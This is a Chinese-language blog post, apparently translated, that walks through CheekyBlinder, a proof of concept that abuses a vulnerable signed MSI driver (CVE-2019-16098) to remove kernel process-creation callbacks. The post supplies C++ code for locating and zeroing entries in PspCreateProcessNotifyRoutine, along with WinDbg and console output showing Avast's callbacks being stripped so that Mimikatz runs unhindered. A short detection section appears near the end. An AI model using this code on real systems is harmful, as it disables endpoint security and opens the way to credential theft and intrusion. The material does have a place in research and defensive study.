使用签名驱动移除内核回调

 

介绍

创建该PoC的目的是了解驱动漏洞利用程序的强大功能,以及EDR如何使用内核回调以防止恶意软件的攻击。

在代码中会用到一个Barakat发现并公开了的驱动程序漏洞,并将其分配为CVE-2019-16098。它是一个经过签名的MSI驱动程序,可以读取和写入完整的内核内存,事实证明这对攻击者极为有用,并且可以对整个系统造成危害。 PoC可以以低特权用户身份获取SYSTEM CMD的功能。

而引起我对CVE-2019-16098的注意,也是因为这篇博文,该博文使用了该漏洞从LSASS进程中删除了PPL( Protected Process Light)保护。

除了上述文章外介绍的删除PPL外,我们还需要枚举系统回调。这里还有一篇SpectreOps Matt Hands的文章深入探讨了Mimikatz的驱动程序Mimidrv。通过这篇文章,可以对枚举回调有了更深的理解。

我还可以推荐克里斯托弗·韦拉(Christopher Vella)在CrikeyCon视频(需要翻墙)的“反向和旁路EDR”,它很好地说明了回调例程,并提供了有关EDR内部工作方式的概述。

 

驱动和内核内存

大多数阅读这篇文章的人可能已经知道,Windows中的内存空间主要分为Userland内存和Kernel内存。当用户创建一个进程时,内核将管理该进程的虚拟内存空间,从而使其只能访问自己的虚拟地址空间,该地址仅对该进程可用。使用内核内存,情况有所不同。系统上的每个驱动程序都没有相互隔离的地址空间-它们是共享内存的。 MSDN这样说:

所有在内核模式下运行的代码共享一个虚拟地址空间。这意味着内核模式驱动程序不会与其他驱动程序以及操作系统本身隔离。如果内核模式驱动程序意外地写入了错误的虚拟地址,则可能会破坏属于操作系统或其他驱动程序的数据。如果内核模式驱动程序崩溃,则整个操作系统崩溃。

当然,这会给这些驱动程序的开发人员以及防止加载任何驱动程序的操作系统造成很大的负担。因此,Microsoft对可以在系统上加载哪些驱动程序进行了严格限制。首先,加载驱动程序的用户需要具有权限-SELoadDriverPrivilege。默认情况下,这仅授予管理员,这是有充分理由的。就像SeDebugPrivilege一样,不应轻易授予此特权。这里有一篇Tarlogic的文章介绍了如何通过这些权限以在系统上获得更高的权限。

其次,Microsoft从版本1607开始,所有Windows 10版本的驱动程序会被要求签名。这意味着任何启用了安全启动的最新工作站或服务器都不会加载未签名或签名无效的驱动程序。问题解决了吧?

不幸的是,软件是由人编写的,并且人会犯错误。签名驱动程序也是如此。即使要求在加载驱动程序之前对其进行签名,攻击者也可以找到一个已签名的驱动程序,且该驱动存在允许任意读取/写入内核内存漏洞。 Micro-Star MSI Afterburner 4.6.2.15658驱动程序恰恰具有这些漏洞。

还有许多其他已签名的驱动程序可供使用,一些游戏黑客论坛收集了这些驱动程序和存在的漏洞的列表。由于目前尚无停止有效签名驱动的方法,因此在相当长的一段时间内,加载并且利用这些存在漏洞的签名驱动程序似乎是一种有效的技术。

 

回调例程

当Microsoft在2005年推出Kernel Patch Protection(称为PatchGuard)时,它严重限制了第三方Antivirus供应商使用Kernel Hook来检测和防止系统上的恶意软件的选择。 从那时起,这些供应商不得不更多地依赖于内核回调函数系统来通知事件。 有很多已记录和未记录的回调函数。 我们最感兴趣的函数是:

  • PsSetLoadImageNotifyRoutine
  • PsSetCreateThreadNotifyRoutine
  • PsSetCreateProcessNotifyRoutine
  • CmRegisterCallbackEx
  • ObRegisterCallbacks

除了用于注册表回调CmRegisterCallbackEx和用于对象创建回调ObRegisterCallbacks之外,其他都是可以通过函数名字理解函数的功能。

在本文中,我将重点介绍进程创建回调例程-PsSetCreateProcessNotifyRoutine

 

找到进程回调函数

简而言之,驱动程序可以注册一个在系统上每次创建新进程时都会调用的回调函数。 这些函数被注册并存储在称为PspCreateProcessNotifyRoutine的数组中,该数组最多包含64个回调函数。 Matt Hand使用Windbg逐步说明了如何根据Mimidrv源代码为每个已注册的回调函数查看此数组以及如何确定每个回调函数将其解析为哪个驱动程序。

概括来说,这些步骤是:

1.利用字节匹配的方式在PsSetCreateProcessNotifyRoutineIoCreateDriver的地址之间搜索
2.这些字节在未文档化的PspSetCreateProcessNotifyRoutine的函数开头(请注意名称中的额外“ p”)。
3.在此未文档化的函数中,我们看到对目标数组的引用:PspCreateProcessNotifyRoutine
在Windbg中,它看起来像这样:

lkd> u Pspsetcreateprocessnotifyroutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`235537d0 48895c2408      mov     qword ptr [rsp+8],rbx
fffff802`235537d5 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff802`235537da 4889742418      mov     qword ptr [rsp+18h],rsi
fffff802`235537df 57              push    rdi
fffff802`235537e0 4154            push    r12
fffff802`235537e2 4155            push    r13
fffff802`235537e4 4156            push    r14
fffff802`235537e6 4157            push    r15
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x18:
fffff802`235537e8 4883ec20        sub     rsp,20h
fffff802`235537ec 8bf2            mov     esi,edx
fffff802`235537ee 8bda            mov     ebx,edx
fffff802`235537f0 83e602          and     esi,2
fffff802`235537f3 4c8bf1          mov     r14,rcx
fffff802`235537f6 f6c201          test    dl,1
fffff802`235537f9 0f85e7f80b00    jne     nt!PspSetCreateProcessNotifyRoutine+0xbf916 (fffff802`236130e6)
fffff802`235537ff 85f6            test    esi,esi
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x31:
fffff802`23553801 0f848c000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc3 (fffff802`23553893)
fffff802`23553807 ba20000000      mov     edx,20h
fffff802`2355380c e8df52a3ff      call    nt!MmVerifyCallbackFunctionCheckFlags (fffff802`22f88af0)
fffff802`23553811 85c0            test    eax,eax
fffff802`23553813 0f8490f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9d9 (fffff802`236131a9)
fffff802`23553819 488bd3          mov     rdx,rbx
fffff802`2355381c 498bce          mov     rcx,r14
fffff802`2355381f e8a4000000      call    nt!ExAllocateCallBack (fffff802`235538c8)
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`23553824 488bf8          mov     rdi,rax
fffff802`23553827 4885c0          test    rax,rax
fffff802`2355382a 0f8483f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9e3 (fffff802`236131b3)
fffff802`23553830 33db            xor     ebx,ebx
fffff802`23553832 4c8d2d6726dbff  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff802`23305ea0)]
fffff802`23553839 488d0cdd00000000 lea     rcx,[rbx*8]
fffff802`23553841 4533c0          xor     r8d,r8d
fffff802`23553844 4903cd          add     rcx,r13

我遇到了一些奇怪的技术问题,这些问题很可能是由于我通常在编码方面的能力不足,所以我采取了更快捷的方法:我在Windows 10版本1909上计算了导出函数PsSetCreateProcessNotifyRoutine的偏移量,并且在两台机器上测试还是比较稳定的。但因为Windows不同版本之间的偏移似乎有所变化,我将把系统1909到2004其版本间进行更新,直到可以使按照字节来进行匹配,直到正确为止。

找到进程创建回调例程指针的数组后,它们所指向的内存地址可以按以下方式计算,如Matt所述

1.删除指针地址的最后4位
2.跳过结构的前8个字节

结果地址是每当创建进程时将调用的地址。使用该地址,我们可以准确地计算出该部分内存中加载了哪个驱动程序,并查看在我们的进程创建中和哪个驱动程序关联。

如果要枚举并删除现有的回调,则需要在程序中复制这些步骤。我将假定易受攻击的驱动程序已经加载,并且我们具有可靠的内存读取和写入功能。

我们首先使用EnumDeviceDrivers()来检索内核基地址。可以用Medium完整性进程用于检索内核基址,因为这通常是要返回的第一个地址。尽管不是100%可靠,但是到目前为止我还没有遇到任何问题。

DWORD64 Findkrnlbase() {
    DWORD cbNeeded = 0;
    LPVOID drivers[1024];

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
            return (DWORD64)drivers[0];
        }

    return NULL;

了解了内核基础之后,我们现在可以使用LoadLibrary()加载ntoskrnl.exe并使用GetProcAddress()查找某些导出函数的地址。 我们将从已加载的内核库(ntoskrnl.exe)计算这些函数的偏移量,并根据内存中的当前当前内核基址来计算这些函数在内存中的当前内存地址。 这个想法和代码基于RedCursor的PPLKiller代码:

const auto NtoskrnlBaseAddress = Findkrnlbase();

    HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
    const DWORD64 PsSetCreateProcessNotifyRoutineOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsSetCreateProcessNotifyRoutine")) - reinterpret_cast<DWORD64>(Ntoskrnl);
    FreeLibrary(Ntoskrnl);
    const DWORD64 PsSetCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PsSetCreateProcessNotifyRoutineOffset;

现在让我们计算PspCreateProcessNotifyRoutine的回调数组的在Windows 1909系统上的偏移量。

lkd> dq nt!pspcreateprocessnotifyroutine
fffff802`23305ea0  ffffaa88`6946151f ffffaa88`696faa8f
fffff802`23305eb0  ffffaa88`6c607e4f ffffaa88`6c60832f
fffff802`23305ec0  ffffaa88`6c6083ef ffffaa88`6c60f4ff
fffff802`23305ed0  ffffaa88`6c60fdcf ffffaa88`6c6106ff
fffff802`23305ee0  ffffaa88`732701cf ffffaa88`7327130f
fffff802`23305ef0  ffffaa88`771818af ffffaa88`7cb3b1bf
fffff802`23305f00  00000000`00000000 00000000`00000000
fffff802`23305f10  00000000`00000000 00000000`00000000
lkd> dq nt!pssetcreateprocessnotifyroutine L1
fffff802`235536b0  d233c28a`28ec8348

在此版本的Windows中,回调数组似乎位于PsSetCreateProcessNotifyRoutine + 0x24D810中。

现在,让我们使用MSI驱动程序和该驱动程序利用程序的作者提供的内存读取功能,来检索和列出这些回调例程。 我们还添加了功能以指定要删除的回调函数:

const DWORD64 PspCreateProcessNotifyRoutineAddress = PsSetCreateProcessNotifyRoutineAddress - 0x24D810;
Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress);
Log("[+] Enumerating process creation callbacks");
int i = 0;
for (i; i < 64; i++) {
    DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8));
    if (callback != NULL) {//only print actual callbacks
        callback =(callback &= ~(1ULL << 3)+0x1);//remove last 4 bytes, jmp over first 8
        DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback);
        FindDriver(cbFunction);
        if (cbFunction == remove) {//if the address specified to be removed from the array matches the one we just retrieved, remove it.
            Log("Removing callback to %p at address %p", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8));
            WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8),0x0000000000000000);
        }
    }

}

FindDriver函数需要做更多的工作,并且可能是整个代码库中最差的代码,但是它可以工作……我们基本上再次使用EnumDeviceDrivers,遍历驱动程序地址,存储比回调函数地址低的地址,然后找到最小的地址,再找到区别最小的那段。 是的,我知道…我不会在这里列出来,如果您想了解更多,可以随时在代码库中查看它。

太好了-现在我们已经实现了以下目标:

1.我们在内存中找到数组
2.我们可以列出将被通知的函数地址
3.我们可以确切地看到这些功能存在于哪些驱动程序中
4.我们可以删除特定的回调
是时候测试一下了!

现在,我知道Avast并不是真正的EDR,但是它使用内核驱动程序并注册进程通知回调,因此非常适合我们的演示。

在此设置中,我使用的是Win1909 x64(操作系统内部版本18363.959)。 使用Windbg,我的内核回调如下所示:

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0  ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0  ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0  ffffdb83`6068a1df ffffdb83`6068a92f
fffff800`1dd13ed0  ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0  ffffdb83`6068addf ffffdb83`5df0237f
fffff800`1dd13ef0  ffffdb83`6322dc2f ffffdb83`652eecff
fffff800`1dd13f00  00000000`00000000 00000000`00000000
fffff800`1dd13f10  00000000`00000000 00000000`00000000

运行mimikatz会使Avast采取行动,如预期的那样:

加载我们的程序,会有如下输出:

[+] Windows Version 1909 Found
[+] Device object handle obtained: 0000000000000084
[+] PsSetCreateProcessNotifyRoutine address: FFFFF8001DF616B0
[+] Kernel base address: FFFFF8001D80E000
[+] PspCreateProcessNotifyRoutine: FFFFF8001DD13EA0
[+] Enumerating process creation callbacks
[+] fffff8001d92f690 [ntoskrnl.exe + 0x121690]
[+] fffff8001ebf7220 [cng.sys + 0x7220]
[+] fffff8001e75b420 [ksecdd.sys + 0x1b420]
[+] fffff8001fcfd9f0 [tcpip.sys + 0x1d9f0]
[+] fffff800203dd930 [iorate.sys + 0xd930]
[+] fffff800204a1720 [aswbuniv.sys + 0x1720]
[+] fffff80021aa9ec0 [vm3dmp.sys + 0x9ec0]
[+] fffff8001eb854d0 [CI.dll + 0x754d0]
[+] fffff80020af25ac [aswSP.sys + 0x325ac]
[+] fffff80021276aa0 [dxgkrnl.sys + 0x6aa0]
[+] fffff800236e3cf0 [peauth.sys + 0x43cf0]
[+] fffff80021836ed0 [aswArPot.sys + 0x6ed0]

谷歌搜索向我们显示aswArPot.sys,aswSP.sys和aswbuniv.sys是Avast驱动程序,因此我们现在至少知道对于进程通知,这些驱动程序可能阻止了我们的恶意程序。

我们使用我们的小程序卸载它们:

PS C:\Dev\CheekyBlinder\x64\Release> .\CheekyBlinder.exe /delprocess fffff800204a1720
[+] Windows Version 1909 Found
[+] Removing process creation callback: FFFFF800204A1720
[+] Device object handle obtained: 0000000000000084
[+] PsSetCreateProcessNotifyRoutine address: FFFFF8001DF616B0
[+] Kernel base address: FFFFF8001D80E000
[+] PspCreateProcessNotifyRoutine: FFFFF8001DD13EA0
[+] Enumerating process creation callbacks
[+] fffff8001d92f690 [ntoskrnl.exe + 0x121690]
[+] fffff8001ebf7220 [cng.sys + 0x7220]
[+] fffff8001e75b420 [ksecdd.sys + 0x1b420]
[+] fffff8001fcfd9f0 [tcpip.sys + 0x1d9f0]
[+] fffff800203dd930 [iorate.sys + 0xd930]
[+] fffff800204a1720 [aswbuniv.sys + 0x1720]
Removing callback to FFFFF800204A1720 at address FFFFF8001DD13EC8
[+] fffff80021aa9ec0 [vm3dmp.sys + 0x9ec0]
[+] fffff8001eb854d0 [CI.dll + 0x754d0]
[+] fffff80020af25ac [aswSP.sys + 0x325ac]
[+] fffff80021276aa0 [dxgkrnl.sys + 0x6aa0]
[+] fffff800236e3cf0 [peauth.sys + 0x43cf0]
[+] fffff80021836ed0 [aswArPot.sys + 0x6ed0]

我们对其余两个驱动程序重复此步骤,并确认这些驱动程序不再在回调列表中列出:

[+] Windows Version 1909 Found
[+] Device object handle obtained: 00000000000000A4
[+] PsSetCreateProcessNotifyRoutine address: FFFFF8001DF616B0
[+] Kernel base address: FFFFF8001D80E000
[+] PspCreateProcessNotifyRoutine: FFFFF8001DD13EA0
[+] Enumerating process creation callbacks
[+] fffff8001d92f690 [ntoskrnl.exe + 0x121690]
[+] fffff8001ebf7220 [cng.sys + 0x7220]
[+] fffff8001e75b420 [ksecdd.sys + 0x1b420]
[+] fffff8001fcfd9f0 [tcpip.sys + 0x1d9f0]
[+] fffff800203dd930 [iorate.sys + 0xd930]
[+] fffff80021aa9ec0 [vm3dmp.sys + 0x9ec0]
[+] fffff8001eb854d0 [CI.dll + 0x754d0]
[+] fffff80021276aa0 [dxgkrnl.sys + 0x6aa0]
[+] fffff800236e3cf0 [peauth.sys + 0x43cf0]

Windbg视图(注意先前列出了回调例程的为止目前被置零):

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0  ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0  ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0  ffffdb83`6068a1df 00000000`00000000
fffff800`1dd13ed0  ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0  00000000`00000000 ffffdb83`5df0237f
fffff800`1dd13ef0  ffffdb83`6322dc2f 00000000`00000000
fffff800`1dd13f00  00000000`00000000 00000000`00000000
fffff800`1dd13f10  00000000`00000000 00000000`00000000

现在我们可以不受限制地运行Mimikatz了:

 

监测和防御

就检测和预防而言,我认为蓝队会容易一些,但对于EDR来说可能并非如此。对于EDR供应商而言,难以跟踪到每一个受到攻击的签名驱动进行拉黑,并且无法解决0day漏洞的攻击。但尽管如此也应该采取一些防护措施来应对这一类攻击。

对于蓝队,监视服务创建和PspCreateProcessNotifyRoutine:特权的使用将会给你更多防范此类攻击的手段。其他一些建议是,不应该经常安装新的驱动,最好仅更新和维护,以及通过特权帐户安装驱动程序。从管理帐户进一步限制此特权也可能是一条值得探索的途径,该特权保留给专用的软件/硬件维护帐户,该帐户在不使用时会受到严格监控并被禁用。

 

TODO

还有更多功能要实现。 我计划很快添加对其他回调例程的支持,以及可能添加恢复以前删除的回调的方法。 要可靠地找到PspCreateProcessNotifyRoutine数组,并检查是否可能失败,还需要做更多的工作,因为这会导致蓝屏死机。 最后,最好使用已知的蓝队工具(例如Sysmon)在企业环境中检测该活动的一些指标,以检测该活动。

实现代码

CheekyBlinder已在这里发布。 请负责任地使用,该代码可能导致BSOD。目前仅支持Win 1909和2004。

(完)